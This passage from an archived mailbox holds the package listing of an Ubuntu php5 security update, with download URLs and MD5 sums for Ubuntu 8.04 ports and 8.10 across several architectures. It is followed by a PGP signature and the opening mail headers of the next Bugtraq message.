      Size/MD5:   322640 d3e698a9c7ce5095341a23fbc4b6ccf4
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    28232 01338dc5292fd4b146411127c76cf266
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:   364492 1ec1883f2800168385474cef709f3cf2
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    38776 6593fc3f4f07b6993f98362ab56ef2a3
    http://ports.ubuntu.com/pool/main/p/php5/php5-gmp_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    17620 009509173ace9186ef7b5a4c9c0385e8
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    21732 8b42e3274a2ced4b1e022498625ee840
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:     7674 d2f23c74718417ffe824586db9d82abe
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    78002 23fe003721b57315e776844f638547c9
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    41298 8e03efa9a45dfce27504d4db8a7ab449
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    59730 0cab71dc5308e3fe988805f74fe6a1ca
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    11158 e953dd0af87f85826c741e934696d2bf
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:     7188 f5d5892442c0217776e18a32faf38cde
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    14234 40dbf17cf01428b9c4edbe9836fcb8bd
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    42380 73eba33a39b1fe7af81115e55fdade80
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    31366 58eaac154d94052b633b0133b359ee31
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    20058 6e7e84f9464c525395f3b4bf8e247b97
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    40464 6a6025855e2add90a34413de08ed1937
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.4-2ubuntu5.5_powerpc.deb
      Size/MD5:    15702 286f07f1f3a59248bce1453771416435

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:  2493386 72d69c95e4fa2700ff4e4b654bcf0b31
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:  4881774 0d35632ace0b3cd9dd14cd66fd7e8734
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:  2462358 37223e79375815e1a32164fd2d253699
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:   315498 d8530e4add54236b3e8dd6b3a2145c64
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    24272 886302c0f5959a8f8abb49023b6300f5
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:   364482 f7c367e95c4756281eda1f15386ae9e8
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    33590 e2e25db18df94b5d6aef3726340e7e99
    http://ports.ubuntu.com/pool/main/p/php5/php5-gmp_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    14154 57416b21a9d366846e8e430a785e7a04
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    17696 833c01321d5b35bf0287f63d9c3e4d6a
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:     5058 a8958473bda8a218172046f3a2c17b31
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    63412 697eaf15f741d956f778ed40ba1ecda1
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    32426 1736603209c26d93cdef476024fd71bc
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    49706 069c489ad5ba480d7cc3530e8bc075b3
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:     8478 9f4d77270f9e3a1bf439a40b857bcb6d
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:     4748 6ad16d0957c0e45b3163988194b189e3
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    11552 93bb024910ead1356f81cbee78dae0e8
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    32808 0e366c36895631df3e2e17fd33176042
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    24962 35a5a484bc14d4c10fad1b14a3102597
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    16348 81b96dc59bc0f18bb5494435d6aa362f
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    34784 99aad0b8e546ccf233b2d4d4e89e38d9
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.4-2ubuntu5.5_sparc.deb
      Size/MD5:    12008 038806199a6f876464485266ad5b9500

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.6-2ubuntu4.1.diff.gz
      Size/MD5:   168352 4437377d1768373413554b601d774dc8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.6-2ubuntu4.1.dsc
      Size/MD5:     2538 3e5afec47d47460a4ebba7fd4ab608f1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.6.orig.tar.gz
      Size/MD5: 12046184 1720f95f26c506338f0dba3a51906bbd

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php-pear_5.2.6-2ubuntu4.1_all.deb
      Size/MD5:   331998 3284e3c50536461157da5ce01997734c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5_5.2.6-2ubuntu4.1_all.deb
      Size/MD5:     1116 f2337456b9b10d0f46cf701970c86d74

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:  2614376 43207fd72c1cfaba24edfe88d86bbccd
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5filter_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:  2612928 d405de859f9b40377362ac0652befbf6
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:  5091124 b09b942e2d6a4a12c083a6d31a254f33
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:  2570498 80be5002e6c7b7226cc0ad4273f5aea2
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:   368842 60492e9153166781951a5e6fec2bae5b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    25486 285ba171fd9305b5616bda260e05a0f5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dbg_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:  8234764 cbeed644512c5aa62ded3f7ca049fc9a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:   362366 a4fe4d7b294b67022d08a158b188ac2f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    37198 dae3eac54dc0b17c2b40592852b3fdb0
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gmp_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    16554 44f54f3089dc23232f961577706f8501
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    20330 a9272490cb31e95668d96954a3c4c6ca
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:     5626 31b556190fe465d50cdda3e8293f8588
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    74238 ca971a5bda09770201abd6b6e22cd0a5
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    38056 66c10325ff5b29427818817528d53035
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    57752 dd8d89359f7facd8c45fde70ae753648
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:     9548 9ad907f2486ecf88b2cd455ebe19f138
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:     5144 c058fd1f2117c0f7a0bb719526765030
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    12560 45f3ebbe438ea2bcbc7884d2f443d9e1
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    39798 b29b2811941645152c7fd4fa5c52d815
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    28690 2ca93c996341346b7171f3e3fe86b5cc
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    18082 3b3aa181084f36461edbfeaf39202c33
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    39450 bac92bae03117f31487d4ed6544f41f6
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.6-2ubuntu4.1_amd64.deb
      Size/MD5:    14006 98d09645c67667a0e12cf2e2789ec23a

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:  2482366 c7ee009fb6514e63e76891037d59de18
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/libapache2-mod-php5filter_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:  2481220 cd08b36bc71b8b1e4167843768e6f7e9
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cgi_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:  4934432 d1e837e9680eeafe516629cda4eecc24
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-cli_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:  2487368 0c23c32bff6f9084a357f45617117229
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-common_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:   365496 d986f8894ca90ce0a11af30fe23b1723
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-curl_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    23928 e529844b82ff68ae9ed5c0b6da015209
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dbg_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:  8423540 5284868594c5c3efa99234e7aafedc9c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-dev_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:   362386 fa71efa5588e1eeec5d67d3444f3ad43
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gd_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    32524 6b8d116404cc7fa6e8c9da90e7521ca6
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-gmp_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    14120 e43f060800cd734d66eb85c503d7dfbe
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-ldap_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    18334 fccd564b6cfca5c786eedff7c21d091f
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mhash_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:     5326 e2a3d6ce1577535127a00718017b9408
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-mysql_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    65934 2d1ac96d292b17852a7df0eb7c097a2a
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-odbc_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    34860 2206a9a94ce0034177730ca78d9ec63b
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pgsql_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    52816 6e7c015ee70003a6f04ceff9c49d02de
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-pspell_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:     8626 ec996e9254735ebf5ae98397d51560b8
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-recode_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:     4898 a4334158409cb6cba853f91faa4d56a9
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-snmp_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    11842 eece705e653f00b6eef8f0d1abe7991d
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sqlite_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    34780 ae4be4f826f4731bdcdb16c586a293a9
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-sybase_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    26254 af358c37c88cffa01edecf2de8137621
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-tidy_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    16536 71e461df3a610b7e72a0086d79892c05
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xmlrpc_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    36474 2b8f8780ef3fad95aff3c60c5fdd6a7c
    http://security.ubuntu.com/ubuntu/pool/main/p/php5/php5-xsl_5.2.6-2ubuntu4.1_i386.deb
      Size/MD5:    12816 768c8c17ea1d11bd59ec3188a269f163

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:  2456586 7e7f0600d85fb79b687e114467b3fd07
    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5filter_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:  2455630 c04e129649ac2f09dd91c81bd06169d8
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:  4884150 cfd058ca385d63420e5b93d59fdf1932
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:  2462708 f58c5653d83cc771d1e38d532a0f7ce4
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:   364894 ee5c3453b5482eced8a1c5fbe28c6d45
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    23470 d2ecccb927a6bbca512bafa542a2b5ca
    http://ports.ubuntu.com/pool/main/p/php5/php5-dbg_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:  8479538 d2cb7e709e53dfc3f48651cb9281b572
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:   362390 f5de4fea1cda2a9e9151902721fedbc4
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    32308 74c18200bd38a9175ec20e5ded81bf89
    http://ports.ubuntu.com/pool/main/p/php5/php5-gmp_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    14184 d70331a8c47949ad23b80fd791eb3109
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    18206 f55cc1a64590dd13d40d986e05a72a0e
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:     5168 7192d9435713fd3b5c9b6fb23a5bd2a7
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    64502 519e28b8eced886d6263e42dc7a4197d
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    34368 3a107b27871b461fd8ece998a4a30009
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    52116 530ade4c924e8d925a9bcf88cd7aef3f
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:     8560 339c96df9dce51e1446d963155a57c67
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:     4830 c022b2af3336fa3c53fd329a7c7fd345
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    11698 535f9ffeb03825f2363d1cc953e305f8
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    34072 84ad1ddd42cc202d3e43a8a4781e5acb
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    26184 6ff5dce11a2bcd8318c3c974e999cc1d
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    16380 e9789fecd7adbf78199ad4c9359805be
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    35966 c0e8fc341973e92ef586bfaee70c37cc
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.6-2ubuntu4.1_lpia.deb
      Size/MD5:    12708 e38307f67a2c572f87d0f9754dc26e24

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:  2616402 a815c73c53fb43f58ac78e51aedf4c48
    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5filter_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:  2614642 658c75608623250f0f95e26737621c74
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:  5083520 e8184dcb4bc49c57359d9d954a961310
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:  2565848 3317669059cecccdeffac1914da8249f
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:   371760 4ee3f3d5aeeea7bc0d08840e8209c4cd
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    28240 6775a5cad835613d2984a31aec6db7f0
    http://ports.ubuntu.com/pool/main/p/php5/php5-dbg_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:  8937736 a8ad6d260b92584f27766d0531f4d208
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:   362408 c987dd4d91c856f4440d0f407db81539
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    38306 38b9a587610c0516e54e1deea28175af
    http://ports.ubuntu.com/pool/main/p/php5/php5-gmp_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    17000 8e52cf651724628a9636e0d61b6ff2ef
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    21760 7753ee5b478b048d59f5d35196a736e7
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:     7742 9d9c762969d969a1e87e0f7c7e7cb1d9
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    77170 aa8a812c613e63e527b9c6a34e160039
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    41560 c14a1cd40b358f15bf3fdbf5a50fc7e1
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    60712 9219850445605ecca635e076d8d4075c
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    11120 69e89b6fd62da42d14449b3702aa3792
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:     7282 6252bcb33d21de455da97f0b8f008b05
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    14398 f1b76a1a1c94a4e1794219f1d56cd663
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    42570 414404cea46893dc2dc3601779c9579e
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    31280 9afbfb42e647d0214dfd79511dea41f6
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    20004 3c26b22725fbdb752539680b20b0d446
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    40726 8333829ec25bcb88bb36a3a8874b121d
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.6-2ubuntu4.1_powerpc.deb
      Size/MD5:    16024 809b770d7c5de2435e3685fdd1a91651

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:  2471774 6dfdee0ed0a22934c0a1b47cf61939a6
    http://ports.ubuntu.com/pool/main/p/php5/libapache2-mod-php5filter_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:  2469966 5292fd73c92e7cbb22c89de0afa15b09
    http://ports.ubuntu.com/pool/main/p/php5/php5-cgi_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:  4839196 aa9e434f8063e8dea5c239ab5e1eaf6d
    http://ports.ubuntu.com/pool/main/p/php5/php5-cli_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:  2439250 ff4f8ef4d93207217862cec5bd672693
    http://ports.ubuntu.com/pool/main/p/php5/php5-common_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:   365644 e9d088f91a6e46c18137e3c5fcba55ea
    http://ports.ubuntu.com/pool/main/p/php5/php5-curl_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    24404 b2c87a4697c8d93144ab4e5e8f9c340b
    http://ports.ubuntu.com/pool/main/p/php5/php5-dbg_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:  8315538 3db42875d46fd4c0510f2c8873c5b1bd
    http://ports.ubuntu.com/pool/main/p/php5/php5-dev_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:   362380 d1ccbbfcebd0f291a29aa8db9e16394b
    http://ports.ubuntu.com/pool/main/p/php5/php5-gd_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    33134 83580cdba282b5773418314682c95513
    http://ports.ubuntu.com/pool/main/p/php5/php5-gmp_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    13338 d83d1cf4b673a2be6b2c4fcc60ad6a33
    http://ports.ubuntu.com/pool/main/p/php5/php5-ldap_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    17610 2d9cb2449e8563c672e0f579d0e7eaf7
    http://ports.ubuntu.com/pool/main/p/php5/php5-mhash_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:     5178 cde129e189ff75564c77199f25b12aeb
    http://ports.ubuntu.com/pool/main/p/php5/php5-mysql_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    63616 e9d8c8bc9c9fa94f1fc3a36c3df087a8
    http://ports.ubuntu.com/pool/main/p/php5/php5-odbc_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    32980 e2dd008c460ee449d1d7cf2b8c84f7f8
    http://ports.ubuntu.com/pool/main/p/php5/php5-pgsql_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    50024 9c17ea69b1deb83f0812cbf9e2a80905
    http://ports.ubuntu.com/pool/main/p/php5/php5-pspell_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:     8404 ddd87db504225c093cff6f67308dfbdf
    http://ports.ubuntu.com/pool/main/p/php5/php5-recode_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:     4858 9e2b5bb77c0e279b1f4b33704f0ecfe6
    http://ports.ubuntu.com/pool/main/p/php5/php5-snmp_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    11712 b10708e371b667d491ec0999f9405e62
    http://ports.ubuntu.com/pool/main/p/php5/php5-sqlite_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    32748 f99586a1cbd6c78b0b63902e6b13eb8e
    http://ports.ubuntu.com/pool/main/p/php5/php5-sybase_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    24980 22802e213532149fa8804da2a0f7af5e
    http://ports.ubuntu.com/pool/main/p/php5/php5-tidy_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    16528 73cc728a955e0a8ebeb29f225ecfb4e0
    http://ports.ubuntu.com/pool/main/p/php5/php5-xmlrpc_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    35156 3524462ca7cc509f0dd64acb69e8657b
    http://ports.ubuntu.com/pool/main/p/php5/php5-xsl_5.2.6-2ubuntu4.1_sparc.deb
      Size/MD5:    12332 6f929164c418e5ff0171aa5dddfda158



--=-N2UYWZ/A6s8VA303xJuy
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEABECAAYFAkmUdhsACgkQLMAs/0C4zNofwgCglQT+OUeyuDYq3aihk22Y2kSW
rTEAoKth0zpWWtzzR2GwazQojUSAVpb1
=WlvA
-----END PGP SIGNATURE-----

--=-N2UYWZ/A6s8VA303xJuy--

From - Thu Feb 12 15:08:32 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000610c
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-39461-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 3B774ED89A
for <lists@securityspace.com>; Thu, 12 Feb 2009 15:05:01 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
